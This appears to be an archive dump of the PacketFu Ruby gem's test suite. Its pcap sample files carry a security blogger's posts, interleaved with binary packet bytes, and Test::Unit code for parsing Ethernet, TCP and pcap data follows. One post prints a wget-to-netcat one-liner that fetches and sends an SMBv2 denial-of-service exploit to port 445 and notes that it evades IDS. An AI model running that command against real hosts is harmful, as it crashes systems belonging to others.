Copyright (C) 2009 Free Software Foundation, Inc.
Lic;KfBB f#5p;E4A@@*l C!ڒPm/Tǀ *7 c;Kl#5p; fE@7C! Pڒ/Tm̀6!  c*,ense GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.


todb@box2:~$ for i in cat parrot dog monkey
> do echo $i | egrep -v '^(cat|dog)'
> done
cat
parrot
dog
monkey
root@box2:~$

The second fails because the special regex characters of parenthesis and pipe loose their special grouping and alteration meanings in 2.5.4. Thus, this works for 2.5.4:
todb@box2:~$ for i in cat parrot dog monkey
> do echo $i | egrep -v '^\(cat\|dog\)'
> done
parrot
monkey

But the same does not work for 2.5.3:
todb@box1:~$ for i in cat parrot dog monkey
> do echo $i | egrep -v '^\(cat\|dog\)'
> done
cat
parrot
dog
monkey
todb@box1:~$

What this all boils down to is that scripts that rely on egrep are going to break pretty horribly and somewhat mysteriously when the underlying grep package gets updated; even better, there's no common method between the two versions to ensure that you get what you expect with a regular expression that involves grouping or alteration.

Naughty, naughty, grep maintainers. Off to submit a bug report now, but since grep 2.5.4 was released way back ;KBB f#5p;E4B@@*k C!ڒPm/ToƳ *7 c;K#5p; fE@7C! Pڒ/Tom̀6;  c*,in February, 2009, I suspect the damage is going to be somewhat unavoidable.

If you know of a way to create a regex that will work in both contexts, I'd love to hear it. Single versus double quotes don't work, so for my purposes, I have to wrap my grep functions up in a version check of grep itself. (grep --version | sed s/[^0-9]*// | head -1 for the curious)

Labels: , , , ,

Friday, September 11, 2009

The most implemented exploit ever: SMBv2 Negotiate DoS

Swinging by SecurityFocus' exploit list for the recent SMBv2 denial of service, I was immediately struck by the apparent silliness of listing five seperate but nearly identical implementations of the same bug. So struck, I daresay, that I could not resist writing my own stand-alone Ruby version, joking that maybe SecurityFocus will pick it up and make me famous.
Well, they did, and I did lol.

They also picked up I)ruid's much more interesting bash shell version. I thought that opening a socket straight on the command line was strictly the purview of Plan 9, but he proved me wrong.

The most "meta" version, so far, is Brent's wget-to-netcat implementation; I couldn't get it to function exactly as his tweet was written, but here's a version that Works For Me:
for i in `wget http://ur1.ca/bhe8 -q -O-|egrep 'oit.*".*"'|sed 's/s.*[<|=]//g'|sed 's/#.*//g'|sed 's/ "\(.*\)"/\1/'`;do echo -e -n $i;done|nc -w 1 127.0.0.1 445 > /dev/null
This has the added bonus of including some mild fragmentation, making IDS detection a little more squirrelly.

At any rate, I think this is all quite hilarious, and now I'm hopeful that the SMBv2 bug will be the widest-implemented DoS ever.

Update: |)ruid has published a version in Expect

Update: I've published a version in ;Kl BB f#5p;E4E@@*h C!ڒPm/U gM& *B n;KAt #5p; fE@7C! Pڒ/U gm̀6*  n*7Perl

Update: Someone published a version in Java

Labels: , , , ,

Thursday, September 10, 2009

AT&T Netbooks, only $1159

I saw an ad on TV about AT&T practically giving away Acer netbooks. Here's the link of note.

So, it's $199 for a netbook, as long as you sign a two-year contract for a DataConnect plan... and that's where they get you, as they say. $40/month, plus $199, makes this a $1159 computing device over two years. Oh, and the $40/month plan is capped at 200 mb/month. Uhhhhh yeah.

This seems to suck significantly more than I expected.

Back to Plan A, being an Android phone on T-Mobile and a tethered POS laptop. Now to figure out if their data plans are unlimited. (I've been having creeping pr;Ku BB f#5p;E4G@@*f C!ڒPm/Uz *C n;Kv #5p; fE@7~C! Pڒ/Um̀6i  n*7oblems with my BlackBerry 8310, which is why I'm looking at this now.)

Labels: , ,

Friday, August 21, 2009

Why's (Poignant) Guide to Ruby

Since it appears that Why the Lucky Stiff has rm'ed himself from the Internet (for the time being?), I want to make sure that Why's (Poignant) Guide to Ruby is available for general use -- namely, for my kids, when they're literate enough to learn how to program.

I had the opportunity to meet and work a little with _why in the spring of 2009. Given my very limited exposure to him, both online and in person, I'm not surprised in the least that this happened.

So, here it is, in PDF form -- it's been lurking on my various desktops for a while now, and I give it to anyone who says something like, "Gee, so what's this Ruby all about, anyway?"

I'm sure there are mirrors elsewhere as well, but this one is the only one I can count on.

Why's (Poignant) Guide to Ruby

Labels:

Tuesday, June 30, 2009

Okay, Blogger, are we cool now?

Yes, I really do have SFTP, and I would like;KIy BB f#5p;E4J@@*c C!ڒPm/U&0 *C n;KOz #5p; fE@7{C! Pڒ/U&m̀62  n*7 to use that rather than plaintext FTP, if that's okay with you, Blogger.com. It is? Great!

I've fixed my RSS feed, again. Looks like Blogger and I were having some disagreements about relative path roots between SFTP and FTP entry points, and Blogger's error logging is supremely unhelpful in this regard.

Ah well, lesson learned.

Labels: , ,

;K3 BB f#5p;E4R@@*[ C!ڒPm/UY=Q *O {;KaH BB f#5p;E4S@@*Z C!ڒPm/UY=Q *a {;K BB#5p; fE4@7C! Pڒ/UY=m̀6U  *a;Ks BB f#5p;E4T@@*Y C!ڒPm/UY>Q] *l packetfu-1.1.11/test/test_hsrp.rb0000755000004100000410000000100612573107241016746 0ustar www-datawww-data#!/usr/bin/env ruby require 'test/unit' $:.unshift File.join(File.expand_path(File.dirname(__FILE__)), "..", "lib") require 'packetfu' class HSRPTest < Test::Unit::TestCase include PacketFu def test_hsrp_read sample_packet = PcapFile.new.file_to_array(:f => 'sample_hsrp_pcapr.cap')[0] pkt = Packet.parse(sample_packet) assert pkt.is_hsrp? assert pkt.is_udp? assert_equal(0x2d8d, pkt.udp_sum.to_i) # pkt.to_f('udp_test.pcap','a') end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/test/sample-ipv6.pcap0000644000004100000410000000037012573107241017416 0ustar www-datawww-dataòtMK:33 ).`5/  l> Interface: " << Pcap.lookupdev else puts ">> No interface access" end puts ">> Version: " << PacketFu.version # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/test/test_eth.rb0000644000004100000410000000470712573107241016562 0ustar www-datawww-data#!/usr/bin/env ruby # -*- coding: binary -*- require 'test/unit' $:.unshift File.join(File.expand_path(File.dirname(__FILE__)), "..", "lib") require 'packetfu' puts "Testing #{PacketFu.version}: #{$0}" class EthTest < Test::Unit::TestCase def test_ethmac dst = "\x00\x03\x2f\x1a\x74\xde" e = PacketFu::EthMac.new e.read dst assert_equal(dst, e.to_s) assert_equal(0x32f, e.oui.oui) assert_equal("\x1a\x74\xde", e.nic.to_s) assert_equal(222, e.nic.n2) end def test_ethmac_ipad dst = "\x7c\x6d\x62\x01\x02\x03" e = PacketFu::EthMac.new e.read dst assert_equal(dst, e.to_s) assert_equal(0x6d62, e.oui.oui) end def test_ethmac_class src = "\x00\x1b\x11\x51\xb7\xce" e = PacketFu::EthMac.new e.read src assert_instance_of(PacketFu::EthMac, e) end def test_eth header = "00032f1a74de001b1151b7ce0800".scan(/../).map { |x| x.to_i(16) }.pack("C*") src = "\x00\x1b\x11\x51\xb7\xce" dst = "\x00\x03\x2f\x1a\x74\xde" e = PacketFu::EthHeader.new e.eth_dst = dst e.eth_src = src e.eth_proto = "\x08\x00" assert_equal(header, e.to_s) assert_equal(header, PacketFu::EthHeader.new.read(header).to_s) end def test_macaddr dst = "\x00\x03\x2f\x1a\x74\xde" dstmac = "00:03:2f:1a:74:de" assert_equal(dstmac,PacketFu::EthHeader.str2mac(dst)) assert_equal(dst, PacketFu::EthHeader.mac2str(dstmac)) end end class EthPacketTest < Test::Unit::TestCase include PacketFu def test_eth_create sample_packet = PcapFile.new.file_to_array(:f => 'sample.pcap')[0] e = EthPacket.new header = "00032f1a74de001b1151b7ce0800".scan(/../).map { |x| x.to_i(16) }.pack("C*") assert_kind_of EthPacket, e assert_kind_of EthHeader, e.headers[0] assert e.is_eth? assert !e.is_tcp? e.eth_dst = "\x00\x03\x2f\x1a\x74\xde" e.eth_src = "\x00\x1b\x11\x51\xb7\xce" e.eth_proto = 0x0800 assert_equal header, e.to_s[0,14] end def test_eth_new p = EthPacket.new( :eth_dst => "\x00\x03\x2f\x1a\x74\xde", :eth_src => "\x00\x1b\x11\x51\xb7\xce", :eth_proto => 0x0800) header = "00032f1a74de001b1151b7ce0800".scan(/../).map { |x| x.to_i(16) }.pack("C*") assert_equal header, p.to_s[0,14] end def test_eth_write p = EthPacket.new( :eth_dst => "\x00\x03\x2f\x1a\x74\xde", :eth_src => "\x00\x1b\x11\x51\xb7\xce", :eth_proto => 0x0800) p.to_f('eth_test.pcap') end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/test/all_tests.rb0000644000004100000410000000204012573107241016721 0ustar www-datawww-data#!/usr/bin/env ruby # # Tested on: # # ruby-1.9.3-head [ x86_64 ] # ruby-1.9.3-p484 [ x86_64 ] # Okay so the regular test/unit stuff screws up some of my # meta magic. I need to move these over to spec and see # if they're any better. In the meantime, behold my # ghetto test exec()'er. It all passes with this, # so I'm just going to go ahead and assume the testing # methodolgy is flawed. TODO: rewrite all this for spec # and incidentally get the gem to test like it's supposed # to. $:.unshift File.expand_path(File.dirname(__FILE__) + "/../lib/") require 'packetfu' puts "Testing PacketFu v#{PacketFu::VERSION}" dir = Dir.new(File.dirname(__FILE__)) dir.each { |file| next unless File.file? file next unless file[/^test_.*rb$/] next if file == $0 puts "Running #{file}..." cmd = %x{ruby #{file}} if cmd[/ 0 failures/] && cmd[/ 0 errors/] puts "#{file}: All passed" else puts "File: #{file} had failures or errors:" puts "-" * 80 puts cmd puts "-" * 80 end } # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/test/sample_hsrp_pcapr.cap0000644000004100000410000000762012573107241020602 0ustar www-datawww-dataò YH>>^ E05- dciscoYH>>^4wE0?5 dciscoYH>>^ E05- dciscoYH>>^4wE0?5 dciscoYH>>^ E05- dciscoYH >>^ E05- dciscoYH,x>>^4wE0?5 dciscoYH@<<^4wE,CioYHP>>^ E05- dciscoYHJ>>^4wE0?5 dciscoYH>>^ E05- dciscoYH>>^4wE0?5 dciscoYHg>>^ E05- dcisco YH>>^4wE0?5 dcisco YHI>>^ E05- dcisco"YHU>>^ E05- dcisco#YH>>^4wE0?5 dcisco$YH <<^4wE,M so%YHt>>^ E05- dcisco%YH<<^4wE,M so%YH<<^4wE,M qo%YH'>>^4wE0I ;< cisco%YH?4<<^4E,9M_%YHLF<<^4wE,Cho%YHxF<<^4wE,M Ls%YH~S>>^4E059 dcisco%YHe>>^ E0I -= cisco(YHت>>^ E0I -= cisco(YHas>>^4E059 dcisco+YH>>^ E0I -= cisco+YH>>^4E059 dcisco.YH>>^ E0I -= cisco.YH>>^4E059 dcisco.YHw>>^ E0I -= cisco/YHo6>>^4E055 dcisco1YHN>>^ E0I -= cisco2YH+>>^4E055 dcisco4YH>>^ E0I -= cisco5YH_Y>>^4E055 dcisco7YH>>^ E0I -= cisco7YH >>^ E0I -= cisco8YHA>>^4E055 dcisco:YH>>^ E0I -= cisco;YHZ>>^4E055 dcisco=YHn>>^ E0I -= cisco>YH>>^4E055 dcisco@YH>>^ E0I -= cisco@YHY<<^4wE,CMi@YHv<<^4E,9^oAYH6>>^4E055 dciscoAYH>>^ E0I -= ciscopacketfu-1.1.11/test/test_tcp.rb0000644000004100000410000002231312573107241016561 0ustar www-datawww-data#!/usr/bin/env ruby # -*- coding: binary -*- require 'test/unit' $:.unshift File.join(File.expand_path(File.dirname(__FILE__)), "..", "lib") require 'packetfu' class String def bin self.scan(/../).map {|x| x.to_i(16).chr}.join end end class TcpEcnTest < Test::Unit::TestCase include PacketFu def test_ecn_set t = TcpEcn.new assert_kind_of TcpEcn, t assert_equal(0, t.to_i) t.n = 1 assert_equal(4, t.to_i) t.c = 1 assert_equal(6, t.to_i) t.e = 1 assert_equal(7, t.to_i) end def test_ecn_read t = TcpEcn.new assert_kind_of TcpEcn, t t.read("\x30\xc0") assert_equal(0, t.n) assert_equal(1, t.c) assert_equal(1, t.e) t.read("\xa3\x38") assert_equal(1, t.n) assert_equal(0, t.c) assert_equal(0, t.e) end def test_hlen_set t = TcpHlen.new assert_kind_of TcpHlen, t assert_equal(0, t.to_i) t.hlen = 10 assert_equal(10, t.to_i) end def test_hlen_read t = TcpHlen.new t.read("\xa0") assert_equal(10, t.to_i) end def test_reserved_set t = TcpReserved.new assert_kind_of TcpReserved, t assert_equal(0, t.to_i) t.r1 = 1 assert_equal(4, t.to_i) t.r2 = 1 assert_equal(6, t.to_i) t.r3 = 1 assert_equal(7, t.to_i) end def test_reserved_read t = TcpReserved.new t.read("\xa0") assert_equal(0, t.to_i) end end class TcpFlagsTest < Test::Unit::TestCase include PacketFu def test_tcp_flags_set t = TcpFlags.new assert_kind_of TcpFlags, t t.fin = 1 t.ack = 1 assert_equal(0x11, t.to_i) t.fin = 0 t.syn = 1 assert_equal(0x12, t.to_i) end def test_tcp_flags_unset t = TcpFlags.new assert_kind_of TcpFlags, t t.syn = 1 assert_equal(0x02, t.to_i) t.syn = 0 assert_equal(0x00, t.to_i) t.syn = 1 t.syn = false assert_equal(0x00, t.to_i) end def test_tcp_flags_read t = TcpFlags.new t.read("\x11") assert_equal(1, t.fin) assert_equal(1, t.ack) t.read("\xa6") assert_equal(1, t.urg) assert_equal(1, t.rst) assert_equal(1, t.syn) assert_equal(0, t.psh) assert_equal(0, t.ack) assert_equal(0, t.fin) end end class TcpOptionsTest < Test::Unit::TestCase include PacketFu def test_tcp_option t = TcpOption.new assert_equal("\x00", t.to_s) t = TcpOption.new(:kind => 2, :optlen => 4, :value => 1024) assert_equal("\x02\x04\x04\x00", t.to_s) t = TcpOption.new(:kind => 0xf0, :optlen => 6, :value => 1024) assert_equal("\xf0\x06\x00\x00\x04\x00", t.to_s) t = TcpOption.new(:kind => 0xf0, :optlen => 6, :value => "1024") assert_equal("\xf0\x061024", t.to_s) t = TcpOption.new(:kind => 0xf0, :optlen => 6, :value => nil) assert_equal("\xf0\x06", t.to_s) t = TcpOption.new(:kind => 0xf1, :optlen => 10, :value => "a1b2c3d4e5") assert_equal("\xf1\x0aa1b2c3d4e5", t.to_s) end def test_eol t = TcpOption::EOL.new assert_equal("\x00", t.to_s) assert_equal(0, t.kind.to_i) assert_equal(0, t.kind.value) assert_equal(nil, t.optlen.value) assert_equal("", t.value) assert_equal("EOL",t.decode) end def test_nop t = TcpOption::NOP.new assert_equal("\x01", t.to_s) assert_equal("NOP",t.decode) end def test_mss t = TcpOption::MSS.new t.read("\x02\x04\x05\xb4") assert_equal("MSS:1460",t.decode) t = TcpOption::MSS.new(:value => 1460) assert_equal("\x02\x04\x05\xb4", t.to_s) assert_equal("MSS:1460",t.decode) end def test_sack t = TcpOption::SACKOK.new assert_equal("\x04\x02", t.to_s) assert_equal("SACKOK",t.decode) end def test_sackok t = TcpOption::SACK.new assert_equal("\x05\x02", t.to_s) assert_equal("SACK:",t.decode) t = TcpOption::SACK.new(:value => "ABCD") assert_equal("\x05\x06\x41\x42\x43\x44", t.to_s) assert_equal("SACK:ABCD",t.decode) t = TcpOptions.new t.encode("SACK:ABCD,NOP,NOP") # Testing the variable optlen assert_equal("SACK:ABCD,NOP,NOP",t.decode) end def test_echo t = TcpOption::ECHO.new(:value => "ABCD") assert_equal("\x06\x06\x41\x42\x43\x44", t.to_s) assert_equal("ECHO:ABCD",t.decode) t = TcpOption::ECHO.new t.read("\x06\x06\x41\x42\x43\x44") assert_equal("ECHO:ABCD",t.decode) end def test_echoreply t = TcpOption::ECHOREPLY.new(:value => "ABCD") assert_equal("\x07\x06\x41\x42\x43\x44", t.to_s) assert_equal("ECHOREPLY:ABCD",t.decode) t = TcpOption::ECHOREPLY.new t.read("\x07\x06\x41\x42\x43\x44") assert_equal("ECHOREPLY:ABCD",t.decode) end def test_tsopt t = TcpOption::TS.new assert_equal("\x08\x0a\x00\x00\x00\x00\x00\x00\x00\x00", t.to_s) assert_equal("TS:0;0",t.decode) end def test_tcpoptions opt_string = "0101080a002af12c12ef0d57".bin t = TcpOptions.new t.read opt_string assert_equal("NOP,NOP,TS:2814252;317656407", t.decode) assert_equal(opt_string, t.to_s) opt_string = "020405b40402080a002af1120000000001030306".bin t = TcpOptions.new t.read opt_string assert_equal("MSS:1460,SACKOK,TS:2814226;0,NOP,WS:6", t.decode) end def test_tcpoptions_encode opt_string = "mss:1460,sackok,ts:2814226;0,nop,ws:6" t = TcpOptions.new t.encode opt_string assert_equal(opt_string.upcase, t.decode) assert_kind_of(StructFu::Int8,t[0].kind) assert_kind_of(StructFu::Int8,t[0].optlen) assert_kind_of(StructFu::Int16,t[0].value) assert_equal("\x02\x04\x05\xb4", t[0].to_s) assert_equal("\x08\x0a\x00\x2a\xf1\x12\x00\x00\x00\x00", t[2].to_s) end end class TcpHeaderTest < Test::Unit::TestCase include PacketFu def test_header_new t = TCPHeader.new assert_kind_of TCPHeader, t assert_equal 20, t.sz assert_equal 13, t.size end def test_header_read t = TCPHeader.new str = "da920050c9fd6d2b2f54cc2f8018005c74de00000101080a002af11e12ef0d4a".bin str << "474554202f20485454502f312e310d0a557365722d4167656e743a206375726c2f372e31382e322028693438362d70632d6c696e75782d676e7529206c69626375726c2f372e31382e32204f70656e53534c2f302e392e3867207a6c69622f312e322e332e33206c696269646e2f312e31300d0a486f73743a207777772e706c616e622d73656375726974792e6e65740d0a4163636570743a202a2f2a0d0a0d0a".bin t.read str assert_equal 55954, t.tcp_sport assert_equal 80, t.tcp_dport assert_equal 3388828971, t.tcp_seq assert_equal 794086447, t.tcp_ack assert_equal 8, t.tcp_hlen assert_equal 0, t.tcp_reserved assert_equal 0, t.tcp_ecn assert_equal 1, t.tcp_flags.psh assert_equal 1, t.tcp_flags.ack assert_equal 0, t.tcp_flags.syn assert_equal 92, t.tcp_win assert_equal 0x74de, t.tcp_sum assert_equal "NOP,NOP,TS:2814238;317656394", t.tcp_options assert_equal "GET /", t.body[0,5] assert_equal "*\x0d\x0a\x0d\x0a", t.body[-5,5] end end class TCPPacketTest < Test::Unit::TestCase include PacketFu def test_tcp_peek t = TCPPacket.new t.ip_saddr = "10.20.30.40" t.ip_daddr = "50.60.70.80" t.tcp_src = 55954 t.tcp_dport = 80 t.tcp_flags.syn = 1 t.tcp_flags.ack = true t.payload = "GET / HTTP/1.1\x0d\x0aHost: 50.60.70.80\x0d\x0a\x0d\x0a" t.recalc puts "\n" puts "TCP Peek format: " puts t.peek assert (t.peek.size <= 80) end def test_tcp_pcap t = TCPPacket.new assert_kind_of TCPPacket, t t.recalc t.to_f('tcp_test.pcap','a') t.recalc #t.to_f('tcp_test.pcap','a') t.ip_saddr = "10.20.30.40" t.ip_daddr = "50.60.70.80" t.payload = "+some fakey-fake tcp packet" t.tcp_sport = 1206 t.tcp_dst = 13013 t.tcp_flags.syn = 1 t.tcp_flags.ack = true t.tcp_flags.psh = false t.recalc #t.to_f('tcp_test.pcap','a') end def test_tcp_read sample_packet = PcapFile.new.file_to_array(:f => 'sample.pcap')[7] pkt = Packet.parse(sample_packet) assert_kind_of TCPPacket, pkt assert_equal(0x5a73, pkt.tcp_sum) pkt.to_f('tcp_test.pcap','a') end def test_tcp_alter sample_packet = PcapFile.new.file_to_array(:f => 'sample2.pcap')[3] pkt = Packet.parse(sample_packet) assert_kind_of TCPPacket, pkt pkt.tcp_sport = 13013 pkt.payload = pkt.payload.gsub(/planb/,"brandx") pkt.recalc pkt.to_f('tcp_test.pcap','a') end def test_tcp_read_strip str = "e0f8472161a600254ba0760608004500004403554000400651d0c0a83207c0a832370224c1d22d94847f0b07c4ba8018ffff30ba00000101080a8731821433564b8c01027165000000000000200000000000".bin str << "0102".bin # Tacking on a couple extra bites tht we'll strip off. not_stripped = TCPPacket.new not_stripped.read(str) assert_equal 18, not_stripped.tcp_header.body.length stripped = TCPPacket.new stripped.read(str, :strip => true) assert_equal 16, stripped.tcp_header.body.length end def test_tcp_reread sample_packet = PacketFu::TCPPacket.new pkt = Packet.parse(sample_packet.to_s) assert sample_packet.is_tcp? assert pkt.is_tcp? end end class TCPPacketTest < Test::Unit::TestCase include PacketFu def test_tcp_edit_opts t = TCPPacket.new assert_equal(0, t.tcp_options.size) assert_equal(0, t.tcp_opts_len) assert_equal(5, t.tcp_hlen) t.tcp_options = "NOP,NOP,NOP,NOP" assert_equal(4, t.tcp_opts_len) t.recalc assert_equal(6, t.tcp_hlen) end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/test/test_pcap.rb0000755000004100000410000001274412573107241016730 0ustar www-datawww-data#!/usr/bin/env ruby # -*- coding: binary -*- require 'test/unit' $:.unshift File.join(File.expand_path(File.dirname(__FILE__)), "..", "lib") require 'packetfu' class PcapHeaderTest < Test::Unit::TestCase include PacketFu def setup @file = File.open('sample.pcap') {|f| f.read} @file.force_encoding "binary" if @file.respond_to? :force_encoding @file_magic = @file[0,4] @file_header = @file[0,24] end def test_header_size assert_equal(24, PcapHeader.new.sz) assert_equal(24, PcapHeader.new.sz) end # If this fails, the rest is pretty much for naught. def test_read_file assert_equal("\xd4\xc3\xb2\xa1", @file_magic) # yep, it's libpcap. end def test_endian_magic p = PcapHeader.new # usual case assert_equal(@file_magic, p.to_s[0,4]) p = PcapHeader.new(:endian => :big) assert_equal("\xa1\xb2\xc3\xd4", p.to_s[0,4]) end def test_header p = PcapHeader.new assert_equal(@file_header, p.to_s[0,24]) p = PcapHeader.new(:endian => :big) assert_not_equal(@file_header, p.to_s[0,24]) # We want to ensure our endianness is little or big. assert_raise(ArgumentError) {PcapHeader.new(:endian => :just_right)} end def test_header_read p = PcapHeader.new p.read @file assert_equal(@file_header,p.to_s) end end class TimestampTest < Test::Unit::TestCase include PacketFu def setup @file = File.open('sample.pcap') {|f| f.read} @ts = @file[24,8] end def test_timestamp_size assert_equal(3, Timestamp.new.size) # Number of elements assert_equal(8, Timestamp.new.sz) # Length of the string (in PacketFu) end def test_timestamp_read t = Timestamp.new t.read(@ts) assert_equal(@ts, t.to_s) end end class PcapPacketTest < Test::Unit::TestCase include PacketFu def setup @file = File.open('sample.pcap') {|f| f.read} @file.force_encoding "binary" if @file.respond_to? :force_encoding @header = @file[0,24] @packet = @file[24,100] # pkt is 78 bytes + 16 bytes pcap hdr == 94 end def test_pcappacket_read p = PcapPacket.new :endian => :little p.read(@packet) assert_equal(78,@packet[8,4].unpack("V").first) assert_equal(@packet[8,4].unpack("V").first,p[:incl_len].to_i) assert_equal(@packet[0,94],p.to_s) end end class PcapPacketsTest < Test::Unit::TestCase include PacketFu def setup @file = File.open('sample.pcap') {|f| f.read} end def test_pcappackets_read p = PcapPackets.new p.read @file assert_equal(11,p.size) assert_equal(@file[24,@file.size],p.to_s) end end class PcapFileTest < Test::Unit::TestCase require 'digest/md5' include PacketFu def setup @file = File.open('sample.pcap') {|f| f.read} @md5 = '1be3b5082bb135c6f22de8801feb3495' end def test_pcapfile_read p = PcapFile.new p.read @file assert_equal(3,p.size) assert_equal(@file.size, p.sz) assert_equal(@file, p.to_s) end def test_pcapfile_file_to_array p = PcapFile.new.file_to_array(:filename => 'sample.pcap') assert_equal(@md5.downcase, Digest::MD5.hexdigest(@file).downcase) assert_instance_of(Array, p) assert_instance_of(String, p[0]) assert_equal(11,p.size) assert_equal(78,p[0].size) assert_equal(94,p[1].size) assert_equal(74,p[10].size) end def test_pcapfile_read_and_write File.unlink('out.pcap') if File.exists? 'out.pcap' p = PcapFile.new p.read @file p.to_file(:filename => 'out.pcap') @newfile = File.open('out.pcap') {|f| f.read(f.stat.size)} @newfile.force_encoding "binary" if @newfile.respond_to? :force_encoding assert_equal(@file, @newfile) p.to_file(:filename => 'out.pcap', :append => true) packet_array = PcapFile.new.f2a(:filename => 'out.pcap') assert_equal(22, packet_array.size) end def test_pcapfile_write_after_recalc File.unlink('out.pcap') if File.exists? 'out.pcap' pcaps = PcapFile.new.file_to_array(:filename => 'sample.pcap') pcaps.each {|pkt| p = Packet.parse pkt p.recalc p.to_f('out.pcap','a') } packet_array = PcapFile.new.f2a(:filename => 'out.pcap') assert_equal(11, packet_array.size) File.unlink('out.pcap') end def test_pcapfile_read_and_write_timestamps File.unlink('out.pcap') if File.exists? 'out.pcap' pf = PcapFile.new arr = pf.file_to_array(:filename => 'sample.pcap') assert_equal(11, arr.size) pf = PcapFile.new pf.a2f(:array => arr, :f => 'out.pcap', :ts_inc => 4, :timestamp => Time.now.to_i - 1_000_000) diff_time = pf.body[0].timestamp.sec.to_i - pf.body[1].timestamp.sec.to_i assert_equal(-4, diff_time) File.unlink('out.pcap') end end # Test the legacy Read objects. class ReadTest < Test::Unit::TestCase include PacketFu def test_read_string pkts = Read.file_to_array(:file => 'sample.pcap') assert_kind_of Array, pkts assert_equal 11, pkts.size this_packet = Packet.parse pkts[0] assert_kind_of UDPPacket, this_packet that_packet = Packet.parse pkts[3] assert_kind_of ICMPPacket, that_packet end def test_read_hash pkts = Read.file_to_array(:file => 'sample.pcap', :ts => true) assert_kind_of Array, pkts assert_equal 11, pkts.size this_packet = Packet.parse pkts[0].values.first assert_kind_of UDPPacket, this_packet that_packet = Packet.parse pkts[3].values.first assert_kind_of ICMPPacket, that_packet end end class WriteTest < Test::Unit::TestCase include PacketFu def test_write end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/test/test_packet.rb0000644000004100000410000001213712573107241017245 0ustar www-datawww-data#!/usr/bin/env ruby # -*- coding: binary -*- require 'test/unit' $:.unshift File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) require 'packetfu' class NewPacketTest < Test::Unit::TestCase include PacketFu def test_method_missing_and_respond_to p = TCPPacket.new assert p.respond_to?(:ip_len) assert p.ip_len = 20 assert !(p.respond_to? :ip_bogus_header) assert_raise NoMethodError do p.bogus_header = 20 end end def test_more_method_missing_magic p = UDPPacket.new assert_kind_of(UDPPacket,p) assert p.is_udp? assert p.is_ip? assert p.is_eth? assert_equal(p.ip_hl,5) assert p.layer assert_raise NoMethodError do p.is_blue? end assert_raise NoMethodError do p.tcp_blue end assert_raise NoMethodError do p.udp_blue end assert_raise NoMethodError do p.blue end end end class PacketStrippingTest < Test::Unit::TestCase include PacketFu def test_arp_strip pcaps = PcapFile.new.file_to_array(:f => 'sample.pcap') p = Packet.parse(pcaps[5], :fix => true) # Really ARP request. assert_kind_of(Packet,p) assert_kind_of(ARPPacket,p) end end class PacketParsersTest < Test::Unit::TestCase include PacketFu def test_parse_eth_packet assert_equal(EthPacket.layer, 1) assert_equal(EthPacket.layer_symbol, :link) pcaps = PcapFile.new.file_to_array(:f => 'sample.pcap') p = Packet.parse(pcaps[5]) # Really ARP. assert_kind_of(Packet,p) assert_kind_of(EthHeader, p.headers[0]) assert p.is_eth? assert_equal(pcaps[5],p.to_s) end def test_parse_arp_request assert_equal(ARPPacket.layer, 2) pcaps = PcapFile.new.file_to_array(:f => 'sample.pcap') p = Packet.parse(pcaps[5]) # Really ARP request. assert p.is_eth? assert_kind_of(EthPacket,p) assert_kind_of(ARPPacket,p) assert p.is_arp? assert_equal(p.to_s, pcaps[5]) assert_equal(1, p.arp_opcode.to_i) assert_equal("\x00\x01", p.headers.last[:arp_opcode].to_s) end def test_parse_arp_reply assert_equal(ARPPacket.layer, 2) pcaps = PcapFile.new.file_to_array(:f => 'sample.pcap') p = Packet.parse(pcaps[6]) # Really ARP reply. assert_equal(p.to_s, pcaps[6]) assert_equal(2, p.arp_opcode.to_i) assert_equal("\x00\x02", p.headers.last[:arp_opcode].to_s) end def test_parse_ip_packet assert_equal(IPPacket.layer, 2) pcaps = PcapFile.new.file_to_array(:f => 'sample.pcap') p = Packet.parse(pcaps[0]) # Really DNS request assert_equal(p.to_s[0,20], pcaps[0][0,20]) assert_equal(p.to_s, pcaps[0]) assert_kind_of(EthPacket,p) assert_kind_of(IPPacket,p) end def test_parse_tcp_packet assert_equal(TCPPacket.layer, 3) pcaps = PcapFile.new.file_to_array(:f => 'sample.pcap') p = Packet.parse(pcaps[7]) # Really FIN/ACK assert_equal(p.to_s, pcaps[7]) assert_kind_of(EthPacket,p) assert_kind_of(IPPacket,p) assert_kind_of(TCPPacket,p) end def test_parse_udp_packet assert_equal(UDPPacket.layer, 3) pcaps = PcapFile.new.file_to_array(:f => 'sample.pcap') p = Packet.parse(pcaps[0]) # Really DNS request assert_equal(p.to_s, pcaps[0]) assert_kind_of(EthPacket,p) assert_kind_of(IPPacket,p) assert_kind_of(UDPPacket,p) end def test_parse_icmp_packet assert_equal(ICMPPacket.layer, 3) assert_equal(ICMPPacket.layer_symbol, :transport) pcaps = PcapFile.new.file_to_array(:f => 'sample.pcap') p = Packet.parse(pcaps[3]) # Really ICMP reply assert_equal(p.to_s, pcaps[3]) assert_kind_of(EthPacket,p) assert_kind_of(IPPacket,p) assert_kind_of(ICMPPacket,p) end def test_parse_invalid_packet assert_equal(InvalidPacket.layer, 0) assert_equal(InvalidPacket.layer_symbol, :invalid) p = Packet.parse("\xff\xfe\x00\x01") assert_equal(p.to_s, "\xff\xfe\x00\x01") assert_kind_of(InvalidPacket,p) end def test_parse_ipv6_packet assert_equal(IPv6Packet.layer, 2) assert_equal(IPv6Packet.layer_symbol, :internet) pcaps = PcapFile.new.file_to_array(:f => 'sample-ipv6.pcap') p = Packet.parse(pcaps[0]) # Really an IPv6 packet assert_equal(p.to_s, pcaps[0]) assert_kind_of(EthPacket,p) assert(!p.kind_of?(IPPacket), "Misidentified as an IP Packet!") assert_kind_of(IPv6Packet,p) end def test_parse_hsrp_packet assert_equal(HSRPPacket.layer, 4) assert_equal(HSRPPacket.layer_symbol, :application) pcaps = PcapFile.new.file_to_array(:f => 'sample_hsrp_pcapr.cap') p = Packet.parse(pcaps[0]) # Really an HSRP Hello packet assert_equal(p.to_s, pcaps[0]) assert_kind_of(EthPacket,p) assert_kind_of(IPPacket,p) assert_kind_of(UDPPacket,p) 